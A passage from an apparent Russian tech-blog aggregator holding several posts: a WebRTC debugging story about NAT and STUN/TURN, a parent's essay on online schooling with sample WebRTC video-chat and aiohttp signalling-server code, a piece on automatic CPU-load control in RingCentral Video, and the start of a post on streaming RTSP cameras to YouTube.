Новый день - новые силы. Как оказалось - на проде используется number, потому что со стороны мобил (с их слов) было жесткое требование на int и ничего более. Успокаиваемся и работаем... Проверяем локально, потом с коллегой, все хорошо - едем на testing. Проверяем web - хорошо, мобилы - черный экран у того кто остался на вебе, но звук работает отлично. Хоть какой прогресс...

После пары часы дебага и проверки различный гипотез, я был готов сдаться, но здесь произошло чудо. Разраб со стороны мобил говорит что у него все работает. После того, как мы созвонились, через один из мессенджеров, и расшарили экран - я действительно убедился, все условия соблюдены и оно действительно работает. Начали искать отличия. Мы с коллегой в офисе. QA на уделенке дома. Разработчик мобильной версии в Латвии. Просим QA пере-проверить кейс со звонком на разных платформа, только пусть звонит на мне в офис, а кому-то вне офиса. О-да, работает... Мы где-то близко...

Услышав наши "горячие" споры в комнате офиса, глава департамента встает и говорит: "Парни, а вы используете STUN / TURN сервера?". Такие слова я слышал впервые, поэтому пришлось гуглить: https://medium.com/nuances-of-programming/webrtc-%D1%84%D1%80%D0%B5%D0%B9%D0%BC%D0%B2%D0%BE%D1%80%D0%BA-ice-stun-%D0%B8-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0-turn-f835b11d9dde

В общем, все сошлись на том что для текущей версии проекта - никто не будет пока подключать STUN / TURN сервера (ибо если бесплатные STUN еще можно найти, то бесплатных TURN нет).

Почему не догадались, что из-за NAT в офисе - ловим проблемы? Да потому что звук работал. И видео на одной стороне работало отлично. А как раз черный экран в видео мы уже получали, когда ловили кейсы, где один клиент инициировал созвон по связке rtc/vp8, а второй live/h264.

Вот так и закончилось мое увлекательное приключение в мир WebRTC.

PS. Если кто-то меня попросит еще раз сделать звонки на проекта - я первым делом пойду искать другую библиотеку.

Подробнее..

О первоклашках, дистанционке и асинхронном программировании

15.12.2020 10:11:51 | Автор: admin
image

Я дауншифтер. Так получилось, что последние три года мы с женой и младшим ребёнком наслаждаемся сельским пейзажем за окном, свежим воздухом и пением птиц. Удобства в доме, оптический интернет от местного провайдера, мощный бесперебойник и нагрянувший ковид неожиданно сделали идею переезда из мегаполиса не такой уж странной.

Пока я увлеченно занимался веб разработкой, где-то на фоне жена периодически жаловалась на проблемы выбора школы для ребёнка. И тут (вдруг) ребёнок подрос и школьный вопрос встал ребром. Ладно, значит, время пришло. Давайте вместе разберёмся, что же все-таки не так с системой образования в бывшей 1/6 части суши, и что мы с вами можем с этим сделать?

Традиционные методы очного обучения я оставлю за рамками этой статьи. Скажу только, что у обычных школ есть как неоспоримые преимущества, так и серьезные недостатки, к которым, кстати, в последнее время добавилась вынужденная самоизоляция. Здесь мы рассмотрим варианты дистанционного и семейного образования, которые, по целому ряду причин, в последнее время привлекают все больше родителей.

Внесу ясность: дистанционное обучение подразумевает занятия в обычной школе с помощью дистанционных образовательных технологий (ДОТ), а семейное означает добровольный уход из школы и обучение только силами семьи (по сути, это старый добрый экстернат). Впрочем, в любом случае ребёнка нужно прикрепить к какой-либо из доступных школ, как минимум, для сдачи промежуточных аттестаций.

А теперь немного наблюдений из жизни. С вынужденным переводом на дистанционку детей, уже учившихся в обычной школе, все грустно. Школьники воспринимают этот подарок судьбы как своего рода каникулы, родители не привыкли следить за дисциплиной во время занятий и в результате общая успеваемость неизбежно падает.

С первоклашками, особенно в случае семейной формы, у родителей, пожалуй, появляется шанс поставить ребёнка на рельсы, используя естественный интерес и эффект новизны. Лично для меня добиться самостоятельности главная задача. Сидеть и делать с ребёнком домашку я считаю верхом глупости. Конечно, если вы хотите, чтобы ваши дети чего-то добились в жизни и не висели у вас на шее. Я хочу, поэтому моя цель научить ребёнка учиться, правильно задавать вопросы и вообще, думать своей головой.

Ближе к делу. Выбираем государственную школу


Пожалуй, семейное образование мне нравится больше из-за возможности выбрать программу и график обучения. Да и физически посещать школу можно реже. Но выбрать государственную школу, поговорить с директором о прикреплении ребёнка и получить приказ о зачислении в первый класс нужно уже в конце зимы, чтобы в сентябре не было сюрпризов. Хотя, с юридической точки зрения, закон об образовании вроде бы не требует ежегодных аттестаций, дедлайны, по моему опыту, отлично мотивируют, поэтому пусть будут аттестации. Вряд ли любая школа примет нас с распростертыми объятьями, но найти достойный вариант в ближайшем городе мы сможем, я уверен.

Выбираем учебную программу


Именно выбираем. Пытаться составить программу самостоятельно, не имея профильного образования, не разумно. Хотя существуют государственные образовательные ресурсы, такие как Российская Электронная Школа (РЭШ) и Московская Электронная Школа (МЭШ), которых в теории могло было бы хватить, но Оба варианта предоставляют планы уроков, видеозаписи, тесты и учебные пособия. Вот чего мне не удалось найти, так это самих учебников, даже по обязательной программе.

И тут нет самого главного: общения. Обучить ребёнка, показывая ему бесконечные видеоролики и заставляя ставить галочки в тестах, не получится. Значит, нужно либо проводить уроки полностью самостоятельно, либо выбрать одну из онлайн школ.

Выбираем онлайн школу


Мы почти вернулись к тому, с чего начали. Дистанционка? Ладно, присмотримся к ней повнимательней. Как вообще можно организовать учебный процесс удаленно? Тут возникает много вопросов, я подниму только ключевые:

* Живое общение. Что предлагают школы? Скайп, в лучшем случае Тимс. Уроки по Скайпу? Серьёзно? Если я не ошибаюсь, на дворе 2020-й. Открыть перед первоклашкой несколько окон с красивыми разноцветными кнопочками и ждать, что он на них не нажмет, а будет пол-дня послушно слушать скучного дядю или тетю? Ни разу таких детей не видел. А вы?

* Домашка. Точнее, как она попадает к учителю на проверку? На самом деле, это действительно сложный вопрос, возможно, даже не решаемый в принципе. Существующие варианты:

  1. Написать в тетрадке, сфоткать и отправить учителю. Бр-р-р, не хочу заставлять учителей ломать глаза в попытках прочесть мутные фотки с мобильников, сделанные, как правило, по какому-то неписанному закону в темноте.
  2. Отправить скан. Полумера, в общем случае невозможная из-за отсутствия у родителей нужного оборудования.
  3. Оцифровать рукописный ввод с помощью дигитайзера или планшета. Так себе вариант, но об этом чуть позже.
  4. Напечатать текст. В принципе, допустимо, но вот как ребёнок введёт с клавиатуры, например, математическую или химическую формулу? Никак. Плюс, для более продвинутых деток, проблема с плагиатом.
  5. Выполнить онлайн тест. Это, безусловно, самый популярный вариант. Полагаю, большинство школ, включая РЭШ и МЭШ, ориентируются на него. На практике это означает скорее дрессировку, чем обучение. Дети учатся ставить галочки в правильном месте. За бортом остаются предметы, требующие любой формы творчества, например, сочинения, а также диктанты и непопулярное теперь по неведомой мне причине чистописание. Сюда же можно отнести умение отстаивать своё мнение.

* Оценки. Очевидно, выставленные на уроке и при проверке домашних заданий оценки должны попадать в электронный дневник, доступный родителям. И они туда попадают. Вот только не сразу. Я поинтересовался у старших детей, закончивших один из престижных лицеев златоглавой (по иронии судьбы, с информационным уклоном), почему так? Ответ, честно сказать, меня удивил. Оказывается, учителя записывают оценки на бумажку, а после уроков вбивают их в этот самый электронный дневник на государственном портале. И это в то время, как Теслы Илона Маска бороздят просторы космоса

Ладно, пора провести небольшое техническое исследование и проверить, может существуют объективные причины такого положения дел?

Давайте определим требования к гипотетической идеальной платформе для обучения. На самом деле, все просто: дети должны оставаться на уроке, сосредоточившись на том, что говорит и показывает учитель, при необходимости отвечая на вопросы и при желании поднимая руку. По сути, нам нужно окно на полный экран с потоком с учительской камеры, презентацией или интерактивной доской. Самый простой способ добиться этого использовать технологию WebRTC (real-time communications, коммуникации в реальном времени). Эта штука работает в любом более-менее современном браузере, не требует покупки дополнительного оборудования и, к тому же, обеспечивает хорошее качество связи. И да, этот стандарт требует асинхронного программирования как минимум потому, что необходимый JS метод navigator.mediaDevices.getUserMedia() возвращает промис. Вроде все понятно, приступаю к реализации.

Лирическое отступление о выборе фреймворка
В последнее время я все чаше слышу мнение о том, что чистый JavaScript шагнул далеко вперед, проблем с кроссбраузерностью уже нет и фреймворки на фронтэнде не нужны вообще. Особенно часто критике подвергается jQuery. Хорошо, стряхнем пыль со старого доброго JS и сравним:

// Выбрать элементelement = $(selector);element = document.querySelector(selector);// Выбрать элемент внутри элементаelement2 = element.find(selector2);element2 = element.querySelector(selector2);// Скрыть элементelement.hide();  // добавляет стиль display: noneelement.classList.add('hidden');

Тут нужно пояснить, что CSS классу hidden, при желании, можно прописать свойства opacity и transition, что даст эффект fadeIn/fadeOut на чистом CSS. Отлично, давно хотел отказаться от JS анимации!

// Слушать событие onClickelement.click(e => { ... });element.onclick = (e) => { ...  }// Переключить классelement.toggleClass(class_name);element.classList.toggle(class_name);// Создать divdiv = $("<div>");div = document.createElement("div");// Вставить созданный div в element// (это не опечатка, можно писать одинаково)element.append(div);element.append(div);

И т.д и т.п. В целом, код на чистом JS получается немного более многословным, но такова цена повышения производительности и снижения трафика. Нет, я никого не агитирую, но для эксперимента использую нативный JS с удовольствием!

WebRTC предназначен для связи между браузерами напрямую, по технологии точка-точка (p2p). Однако, чтобы установить эту связь, браузеры должны сообщить друг другу о своем намерении общаться. Для этого понадобится сервер сигнализации.

Пример базовой реализации простого видеочата, использующего топологию full mesh
'use strict';(function () {    const selfView = document.querySelector('#self-view'),        remoteMaster = document.querySelector('#remote-master'),        remoteSlaves = document.querySelector('#remote-slaves');    let localStream,        selfStream = null,        socket = null,        selfId = null,        connections = {};    // ***********************    // UserMedia & DOM methods    // ***********************    const init = async () => {        try {            let stream = await navigator.mediaDevices.getUserMedia({                audio: true, video: {                    width: { max: 640 }, height: { max: 480 }                }            });            localStream = stream;            selfStream = new MediaStream();            stream.getVideoTracks().forEach(track => {                selfStream.addTrack(track, stream); // track.kind == 'video'            });            selfView.querySelector('video').srcObject = selfStream;        } catch (e) {            document.querySelector('#self-view').innerHTML =                '<i>Веб камера и микрофон не найдены</i>';            console.error('Local stream not found: ', e);        }        wsInit();    }    const createRemoteView = (id, username) => {        let iDiv = document.querySelector('#pc' + id);        if (!iDiv) {            iDiv = document.createElement('div');            iDiv.className = 'remote-view';            iDiv.id = 'pc' + id;            let iVideo = document.createElement('video');            iVideo.setAttribute('autoplay', 'true');            iVideo.setAttribute('playsinline', 'true');            let iLabel = document.createElement('span');            iDiv.append(iVideo);            iDiv.append(iLabel);            if (!remoteMaster.querySelector('video')) {                remoteMaster.append(iDiv);                iLabel.textContent = 'Ведущий';            } else {                remoteSlaves.append(iDiv);                iLabel.textContent = username;            }            remoteMaster.style.removeProperty('display');        }    }    // *******************************    // Signaling (Web Socket) methods    // *******************************    const wsInit = () => {        socket = new WebSocket(SIGNALING_SERVER_URL);        socket.onopen = function (e) {            log('[socket open] Соединение установлено');        }        socket.onmessage = function (event) {            log('[socket message] Данные получены с сервера', event);            wsHandle(event.data);        }        socket.onclose = function (event) {            if (event.wasClean) {                log('[close] Соединение закрыто чисто, ' +                    `код=${event.code} причина=${event.reason}`);            } else {                log('[socket close] Соединение прервано', event);            }            clearInterval(socket.timer);        }        socket.onerror = function (error) {            logError('[socket error]', error);        }        socket.timer = setInterval(() => {            socket.send('heartbeat');        }, 10000);    }    const wsHandle = async (data) => {        if (!data) {            return;        }        try {            data = JSON.parse(data);        } catch (e) {            return;        }        switch (data.type) {            case 'handshake':                selfId = data.uid;                if (!Object.keys(data.users).length) {                    createRemoteView(selfId, 'Ведущий');                    remoteMaster.querySelector('video').srcObject =                        selfStream;                    selfView.remove();                    break;                } else {                    selfView.style.removeProperty('display');                }                for (let id in data.users) {                    await pcCreate(id, data.users[id]);                }                break;            case 'offer':                await wsHandleOffer(data);                break;            case 'answer':                await wsHandleAnswer(data)                break;            case 'candidate':                await wsHandleICECandidate(data);                break;            default:                break;        }    }    const wsHandleOffer = async (data) => {        let pc = null;        if (!connections[data.src]) {            await pcCreate(data.src, data.username);        }        pc = connections[data.src].pc;        // We need to set the remote description to the received SDP offer        // so that our local WebRTC layer knows how to talk to the caller.        let desc = new RTCSessionDescription(data.sdp);        pc.setRemoteDescription(desc).catch(error => {            logError('handleOffer', error);        });        await pc.setLocalDescription(await pc.createAnswer());        wsSend({            type: 'answer',            target: data.src,            sdp: pc.localDescription        });        connections[data.src].pc = pc; // ???    }    const wsHandleAnswer = async (data) => {        log('*** Call recipient has accepted our call, answer:', data);        let pc = connections[data.src].pc;        // Configure the remote description,        // which is the SDP payload in our 'answer' message.        let desc = new RTCSessionDescription(data.sdp);        await pc.setRemoteDescription(desc).catch((error) => {            logError('handleAnswer', error);        });    }    const wsHandleICECandidate = async (data) => {        let pc = connections[data.src].pc;        let candidate = new RTCIceCandidate(data.candidate);        log('*** Adding received ICE candidate', candidate);        pc.addIceCandidate(candidate).catch(error => {            logError('handleICECandidate', error);        });    }    const wsSend = (data) => {        if (socket.readyState !== WebSocket.OPEN) {            return;        }        socket.send(JSON.stringify(data));    }    // ***********************    // Peer Connection methods    // ***********************    const pcCreate = async (id, username) => {        if (connections[id]) {            return;        }        try {            let pc = new RTCPeerConnection(PC_CONFIG);            pc.onicecandidate = (event) =>                pcOnIceCandidate(event, id);            pc.oniceconnectionstatechange = (event) =>                pcOnIceConnectionStateChange(event, id);            pc.onsignalingstatechange =  (event) =>                pcOnSignalingStateChangeEvent(event, id);            pc.onnegotiationneeded = (event) =>                pcOnNegotiationNeeded(event, id);            pc.ontrack = (event) =>                pcOnTrack(event, id);            connections[id] = {                pc: pc,                username: username            }            if (localStream) {                try {                    localStream.getTracks().forEach(                        (track) => connections[id].pc.addTransceiver(track, {                            streams: [localStream]                        })                    );                } catch (err) {                    logError(err);                }            } else {                // Start negotiation to listen remote stream only                pcOnNegotiationNeeded(null, id);            }            createRemoteView(id, username);        } catch (error) {            logError('Peer: Connection failed', error);        }    }    const pcOnTrack = (event, id) => {        let iVideo = document.querySelector('#pc' + id + ' video');        iVideo.srcObject = event.streams[0];    }    const pcOnIceCandidate = (event, id) => {        let pc = connections[id].pc;        if (event.candidate && pc.remoteDescription) {            log('*** Outgoing ICE candidate: ' + event.candidate);            wsSend({                type: 'candidate',                target: id,                candidate: event.candidate            });        }    }    const pcOnNegotiationNeeded = async (event, id) => {        let pc = connections[id].pc;        try {            const offer = await pc.createOffer();            // If the connection hasn't yet achieved the "stable" state,            // return to the caller. Another negotiationneeded event            // will be fired when the state stabilizes.            if (pc.signalingState != 'stable') {                return;            }            // Establish the offer as the local peer's current            // description.            await pc.setLocalDescription(offer);            // Send the offer to the remote peer.            wsSend({                type: 'offer',                target: id,                sdp: pc.localDescription            });        } catch(err) {            logError('*** The following error occurred while handling' +                ' the negotiationneeded event:', err);        };    }    const pcOnIceConnectionStateChange = (event, id) => {        let pc = connections[id].pc;        switch (pc.iceConnectionState) {            case 'closed':            case 'failed':            case 'disconnected':                pcClose(id);                break;        }    }    const pcOnSignalingStateChangeEvent = (event, id) => {        let pc = connections[id].pc;        log('*** WebRTC signaling state changed to: ' + pc.signalingState);        switch (pc.signalingState) {            case 'closed':                pcClose(id);                break;        }    }    const pcClose = (id) => {        let remoteView = document.querySelector('#pc' + id);        if (connections[id]) {            let pc = connections[id].pc;            pc.close();            delete connections[id];        }        if (remoteView) {            remoteView.remove();        }    }    // *******    // Helpers    // *******    const log = (msg, data) => {        if (!data) {            data = ''        }        console.log(msg, data);    }    const logError = (msg, data) => {        if (!data) {            data = ''        }        console.error(msg, data);    }    init();})();


Сервер сигнализации выполнен на Python фреймвоке aiohttp и представляет собой простую вьюху, тривиально проксирующую запросы WebRTC. Соединение с сервером в этом примере выполнено на веб сокетах. Ну и, в дополнение, через канал сигнализации передаются данные простого текстового чата.

Пример реализации сервера сигнализации
import jsonfrom aiohttp.web import WebSocketResponse, Responsefrom aiohttp import WSMsgTypefrom uuid import uuid1from lib.views import BaseViewclass WebSocket(BaseView):    """ Process WS connections """    async def get(self):        username = self.request['current_user'].firstname or 'Аноним'        room_id = self.request.match_info.get('room_id')        if room_id != 'test_room' and            self.request['current_user'].is_anonymous:            self.raise_error('forbidden')  # @TODO: send 4000        if (self.request.headers.get('connection', '').lower() != 'upgrade' or            self.request.headers.get('upgrade', '').lower() != 'websocket'):            return Response(text=self.request.path)  # ???        self.ws = WebSocketResponse()        await self.ws.prepare(self.request)        self.uid = str(uuid1())        if room_id not in self.request.app['web_sockets']:            self.request.app['web_sockets'][room_id] = {}        self.room = self.request.app['web_sockets'][room_id]        users = {}        for id, data in self.room.items():            users[id] = data['name']        ip = self.request.headers.get(            'X-FORWARDED-FOR',            self.request.headers.get('X-REAL-IP',            self.request.remote))        msg = {            'type': 'handshake',            'uid': str(self.uid),            'users': users, 'ip': ip}        await self.ws.send_str(json.dumps(msg, ensure_ascii=False))        self.room[self.uid] = {'name': username, 'ws': self.ws}        try:            async for msg in self.ws:                if msg.type == WSMsgType.TEXT:                    if msg.data == 'heartbeat':                        print('---heartbeat---')                        continue                    try:                        msg_data = json.loads(msg.data)                        if 'target' not in msg_data or                            msg_data['target'] not in self.room:                            continue                        msg_data['src'] = self.uid                        if 'type' in msg_data and 'target' in msg_data:                            if msg_data['type'] == 'offer':                                msg_data['username'] = username                        else:                            print('INVALID DATA:', msg_data)                    except Exception as e:                        print('INVALID JSON', e, msg)                    try:                        await self.room[msg_data['target']]['ws'].send_json(                            msg_data);                    except Exception as e:                        if 'target' in msg_data:                            self.room.pop(msg_data['target'])        finally:            self.room.pop(self.uid)        return self.ws


Технология WebRTC, кроме видеосвязи, позволяет предоставить браузеру разрешение на захват содержимого дисплея или отдельного приложения, что может оказаться незаменимым при проведении онлайн уроков, вебинаров или презентаций. Отлично, используем.

Я так увлекся современными возможностями видеосвязи, что чуть не забыл о самом главном предмете в классе интерактивной доске. Впрочем, базовая реализация настолько тривиальна, что я не стану загромождать ею эту статью. Просто добавляем canvas, слушаем события перемещения мыши onmousemove (ontouchmove для планшетов) и отправляем полученные координаты всем подключенным точкам через тот же сервер сигнализации.

Тестируем интерактивную доску


Тут понадобится планшет, дигитайзер и живой ребёнок. Заодно проверим возможность оцифровки рукописного ввода.

Для начала я взял старенький планшет Galaxy Tab на андроиде 4.4, самодельный стилус и первые попавшиеся прописи в качестве фона для canvas. Дополнительные программы не устанавливал. Результат меня обескуражил: мой планшет абсолютно не пригоден для письма! То есть водить по нему пальцем без проблем, а вот попасть стилусом в контур буквы, даже такой огромной, как на картинке ниже, уже проблема. Плюс гаджет начинает тупить в процессе рисования, в результате чего линии становятся ломанными. Плюс мне не удалось заставить ребёнка не опирать запястье на экран, отчего под рукой остается дополнительная мазня, а сам планшет начинает тормозить еще больше. Итог: обычный планшет для письма на доске не подходит. Максимум его возможностей двигать пальцем по экрану достаточно крупные фигуры. Но предлагать это школьникам поздновато.

Ладно, у нас ведь чисто теоретическое исследование, верно? Тогда берем дигитайзер (он же графический планшет) Wacom Bamboo формата A8, и наблюдаем за ребёнком.

Замечу, что мой подопытный шести лет от роду получил ноутбук, да еще с графическим пером первый раз в жизни. На получение базовых навыков обращения с пером у нас ушло минут десять, а уже на втором уроке ребёнок пользовался планшетом вполне уверенно, самостоятельно стирал с доски, рисовал рожицы, цветочки, нашу собаку и даже начал тыкать доступные в эпсилон окрестности кнопки, попутно задавая вопросы типа А зачем в школе поднимают руку?. Вот только результат неизменно оставлял желать лучшего. Дело в том, что дизайнеры и художники для прорисовки элемента максимально увеличивают фрагмент изображения, что и делает линии точными. Здесь же мы должны видеть доску целиком, в масштабе 1:1. Тут и взрослый не попадет в линию. Вот что получилось у нас:

image

Итоговый вердикт: ни о каком рукописном вводе не может быть и речи. А если мы хотим поставить руку нашим детям, нужно добиваться этого самостоятельно, на бумаге, школа в этом никак не поможет.

Надо сказать, что ребёнок воспринял все мои эксперименты с восторгом и, более того, с тех пор ходит за мной хвостиком и просит включить прописи. Уже хорошо, полученный навык ему пригодится, только совсем для других целей.

Так или иначе, в результате экспериментов я фактически получил MVP минимально жизнеспособный продукт (minimum viable product), почти пригодный для проведения онлайн уроков, с видео/аудио конференцией, общим экраном, интерактивной доской, простым текстовым чатом и кнопкой поднять руку. Это на случай, если у ребёнка вдруг не окажется микрофона. Да, такое бывает, особенно у детей, не выучивших уроки.

Но в этой бочке меда, к сожалению, есть пара ложек дёгтя.

Тестируем WebRTC


Ложка 1. Поскольку наша видеосвязь использует прямые подключения между клиентами, нужно первым делом проверить масштабируемость такого решения. Для теста я взял старенький ноутбук с двухядерным i5-3230M на борту, и начал подключать к нему клиентов с отключенными веб камерами, то есть эмулируя режим один-ко-многим:

image

Как видите, подопытный ноут в состоянии более-менее комфортно вещать пяти клиентам (при загрузке CPU в пределах 60%). И это при условии снижения разрешения исходящего видеопотока до 720p (640x480px) и frame rate до 15 fps. В принципе, не так уж и плохо, но при подключении класса из нескольких десятков учеников от фулл меша придется отказаться в пользу каскадирования, то есть каждый из первых пяти клиентов проксирует поток следующим пяти и так далее.

Ложка 2. Для создания прямого интерактивного подключения (ICE) между клиентами им нужно обойти сетевые экраны и преобразователи NAT. Для этого WebRTC использует сервер STUN, который сообщает клиентам внешние параметры подключения. Считается, что в большинстве случаев этого достаточно. Но мне почти сразу же повезло:

Как видите, отладчик ругается на невозможность ICE соединения и требует подключения TURN сервера, то есть ретранслятора (relay). А это уже ДОРОГО. Простым сервером сигнализации тут не обойтись. Вывод придётся пропускать все потоки через медиа сервер.

Медиа сервер


Для тестирования я использовал aiortc. Интересная разработка, позволяет подключить браузер напрямую к серверу через WebRTC. Отдельная сигнализация не нужна, можно использовать канал данных самого соединения. Это работает, все мои тестовые точки подключились без проблем. Но вот с производительностью беда. Простое эхо видео/аудио потока с теми же ограничениями 720p и 15fps съели 50% моего виртуального CPU на тестовом VDS. Причём, если увеличить нагрузку до 100%, видео поток не успевает выгружаться клиентам и начинает забивать память, что в итоге приводит к остановке сервера. Очевидно, Питон, который мы любим использовать для задач обработки ввода/вывода, не очень подходит для CPU bound. Придётся поискать более специализированное решение, например, Янус или Джитси.

В любом случае, полноценное решение потребует выделенных серверов, по моим прикидкам, из расчёта 1 ядро на комнату (класс). Это уже стоит денег и выходит за рамки простого тестирования, поэтому в этом месте первую фазу моего исследования я буду считать завершённой.

Выводы


1. Мягко говоря, странно видеть на официальном портале Российской Федерации инструкции по скачиванию и ссылки на регистрацию в программе бывшего потенциального врага 1 (тут про Microsoft Teams). И это в эпоху санкций и импортозамещения.
Нет, лично я за дружбу народов и вообще всяческую толерантность, но неужели только у меня от такой интеграции встают волосы дыбом? Разве нет наших разработок?

2. Интеграция МЭШ/РЭШ со школами. Вообще-то, разработчики МЭШ молодцы, даже с Яндекс.репетитором интеграцию сделали. А как быть с выставлением оценок в реальном времени во время уроков, когда будет API? Или я чего-то не знаю?

3. Выбирая дистанционную или семейную форму обучения, нужно быть честным с собой: переложить ответственность за образование ребёнка на школу не получится. Вся работа по проведению уроков (в случае семейного образования), поддержанию дисциплины и самоорганизованности (в любом случае) полностью ложится на родителей. Нужно отдавать себе в этом отчёт и найти время на занятия. Впрочем, в больших семьях с этим проблем быть не должно.

4. Я не буду приводить здесь ссылки на выбранные нами онлайн школы, чтобы это не сочли рекламой. Скажу только, что мы остановились на частных школах среднего ценового диапазона. В любом случае, окончательный результат будет зависеть от ребёнка и получим мы его не раньше сентября.

Или есть смысл довести до логического конца начатую здесь разработку и организовать свою школу? Что вы думаете? Есть единомышленники, имеющие профильные знания и опыт в области образования?

Полезные ссылки:
Российская Электронная Школа
Московская Электронная Школа
Библиотека МЭШ
Разработчику
Подробнее..

Видеоконференции как бороться с высокой загрузкой ЦПУ?

31.05.2021 16:13:25 | Автор: admin

Меня зовут Алексей Доильницын, я архитектор в DINS. Наша компания участвует в разработке UCaaS-платформы (Unified Communication as a Service) RingCentral, которой пользуется более 400 тыс. компаний по всему миру.

Я работаю в команде, которая отвечает за разработку сервиса видеоконференций RingCentral Video или RCV. Видеоконференции с большим количеством участников в галерее часто бывают неподъемными для устаревших лэптопов. Мы решили эту проблему с помощью теории систем автоматического управления (САУ).


RCV стал особенно актуальным в начале 2020 года в связи с массовым переходом на работу из дома. Тогда же мы столкнулись с интересной проблемой: некоторые пользователи жаловались на постоянный гул вентиляторов, на быстрое расходование батареи и торможение устройства. Оказалось, что конференции с большим количеством участников в галерее бывают неподъемными для устаревших лэптопов, которые часто встречаются дома. И мы стали эту проблему решать с помощью теории систем автоматического управления.

Задача и подход к решению

RingCentral Video выпускает нативного клиента для основных платформ Mac и Windows. Клиент построен на Electron (библиотека для разработки настольных приложений с использованием HTML), что существенно экономит ресурсы разработки, так как по сути позволяет разработать только одно веб-приложение на JavaScript, которое актуально сразу для трех основных платформ веб, Mac и Windows.

По нашему опыту, двухъядерные процессоры Intel старше 5 лет уже зачастую не справляются с типичными корпоративными конференциями с 8-16 участниками.

4-х ядерные современные Core i5 это, наверное, минимальная конфигурация для подобных задач. У более слабых компьютеров возникают проблемы вроде высокого расхода батареи и подвисания компьютера.

Для решения этой задачи я решил воспользоваться теорией систем автоматического управления (САУ). Ее обычно используют для решения таких задач, как стабилизация танковой башни или поддержание постоянной температуры в плавильной печи. САУ обеспечивают надежность и устойчивость управления.

Вместо того, чтобы заставлять пользователя выбирать ключевые параметры системы (разрешение и количество видео потоков, битрейт и т.п.), программная система может сама адаптироваться к внешним условиям (загрузка ЦПУ (CPU), пропускная способность сети), автоматически выбирая наиболее оптимальные параметры.

Построение системы управления

Система управления функционирует в JavaScript коде клиента видеоконференции.

Объектом управления в нашем случае являются видеопотоки, рисуемые на экране пользователя. На загрузку ЦПУ в первую очередь влияют количество потоков и разрешение видео (высота х ширина).

9 видеопотоков в разрешении 640x360:

В качестве обратной связи выбираем системную загрузку ЦПУ. Поскольку в браузере нет соответствующего API, измеряем загрузку ЦПУ в нативном коде (в плагине Electron) и периодически шлем событие с текущей загрузкой ЦПУ в JavaScript код.

Выбираем целевой коридор загрузки ЦПУ, например, 40-50%.

В качестве ошибки используем разницу между текущей загрузкой ЦПУ и ближайшей границей коридора. Например, текущая загрузка 80%, значит ошибка 80-50=30 в абсолютных величинах, или по отношению в коридору: 30/50=0.6 (60%).

Основная логика системы управления проста. Система срабатывает на прилетающие информационные события, в которых передается текущая загрузка ЦПУ. События приходят с достаточно большим интервалом в 10 секунд, чтобы учесть инерцию системы на отработку управляющих воздействий.

  • Если загрузка ЦПУ выше целевого коридора, то сначала уменьшаем разрешение потоков, потом начинаем выключать потоки.

  • Если загрузка ЦПУ ниже целевого коридора, то сначала включаем выключенные потоки, потом увеличиваем их разрешение.

  • Если загрузка внутри коридора, то ничего не делаем во избежание колебаний.

При этом количество потоков, на которые будет оказано воздействие, рассчитывается из величины ошибки. Например, клиент отрисовывает 16 видеопотоков в среднем разрешении 640х360. Если загрузка ЦПУ 80% и соответственно ошибка равна 0.6, то за один шаг мы уменьшим разрешение для 16*0.6=10 потоков. Это делается для того, чтобы система быстрее реагировала на большие возмущения. При этом мы учитываем, что отрисовка одного потока занимает от долей до единиц процентов полной загрузки системы.

Проблемы, возникшие в результате эксплуатации

Внутри коридора

В процессе тестирования нам встретилась ситуация, когда система, находясь внутри коридора, получает внешнее возмущение в виде антивируса, который существенно повышает загрузку ЦПУ на некоторое время. Так как наша система управления не различает внешние и внутренние воздействия, она штатно реагирует на повышение загрузки отключением видео потоков. После завершения работы антивируса система возвращается обратно в коридор, но уже с отключенными видео потоками. Находясь в коридоре, система ничего не предпринимает, дабы избежать незатухающих колебаний. Для пользователя такое поведение выглядит странно.

Решение: все-таки включать видео потоки внутри коридора, но медленно, например, по одному потоку на каждый третий вызов.

Мощный компьютер

На мощном компьютере обработка потока видео занимает доли процента от общей загрузки ЦПУ, и отключать видео потоки бессмысленно, так как они практически не влияют на загрузку системы.

Решение: измерять, сколько ЦПУ потребляет наш процесс в процентах от общего потребления системы. Если доля нашего процесса менее 50%, то отключать систему управления.

Финальный тест

В финальном тесте на старом лаптопе с процессором i5-3210M (4 cores @ 3 GHz) участвовали 8 участников (ботов) в разрешении 320х180. Стартовая загрузка ЦПУ около 80%.

Через 30 секунд отключается четыре участника, загрузка опускается до 65%.

Ниже опускаться уже некуда, так как минимальное количество участников на экране 4.

В итоге система управления успешно прошла тесты и сдана в промышленную эксплуатацию.

Если у вас появились какие-то вопросы или хотелось бы узнать что-то еще об RCV пишите в комментариях.

Подробнее..

Стриминг множества RTSP IP камер на YouTube иили Facebook

07.06.2021 18:08:54 | Автор: admin

Как известно, у YouTube отсутствует фича захвата RTSP потока. Возможно, это сделано не случайно, а исходя из голой прагматики, чтобы люди не повесили на YouTube статическое видеонаблюдение за своими подъездами и не утилизировали его каналы, которые, как оказалось в пандемию, вовсе не резиновые. Напомним, что некоторое время назад имели место истории с ухудшением и ограничением качества стримов до 240p. Или есть еще одно предположение: стримы с IP камер это зло для YouTube, потому что у них чуть более ноля зрителей, на которых не накрутишь миллион просмотров рекламы. Так или иначе, фича не представлена, и мы постараемся заполнить этот пробел - помочь YouTube осчастливить пользователей.

Допустим, мы хотим взять обычную уличную IP камеру, которая отдает H.264 поток по RTSP и перенаправить ее на YouTube. Для этого потребуется принять RTSP поток и сконвертировать в RTMPS поток, который принимает YouTube. Почему именно в RTMPS, а не RTMP? Как известно несекьюрные протоколы отмирают. HTTP предан гонениям, и его участь постигла другие протоколы, не имеющие буквы S - значит Secure на конце. От RTMP потока отказался Facebook, но спасибо, оставил RTMPS. Итак, конвертируем RTSP в RTMPS. Делаем это Headless способом (без использования UI), т.е. на сервере.

Для одного RTSP потока потребуется один YouTube аккаунт, который будет принимать поток. Но что делать если камер не одна, а много?

Да, можно насоздавать вручную несколько YouTube-аккаунтов, например, чтобы покрыть видеонаблюдением приусадебный участок. Но это с огромной вероятностью нарушит условия пользовательского соглашения. А если камер не 10, а все 50? Создавать 50 аккаунтов? А дальше что? Смотреть это как? В этом случае на помощь может прийти микшер, который объединит камеры в один поток.

Посмотрим, как это работает на примере двух RTSP камер. Результирующий поток mixer1 = rtsp1 + rtsp2. Отправляем стрим mixer1 на YouTube. Все работает - обе камеры идут в одном потоке. Здесь стоит заметить, что микширование - достаточно ресурсоемкая по использованию CPU операция.

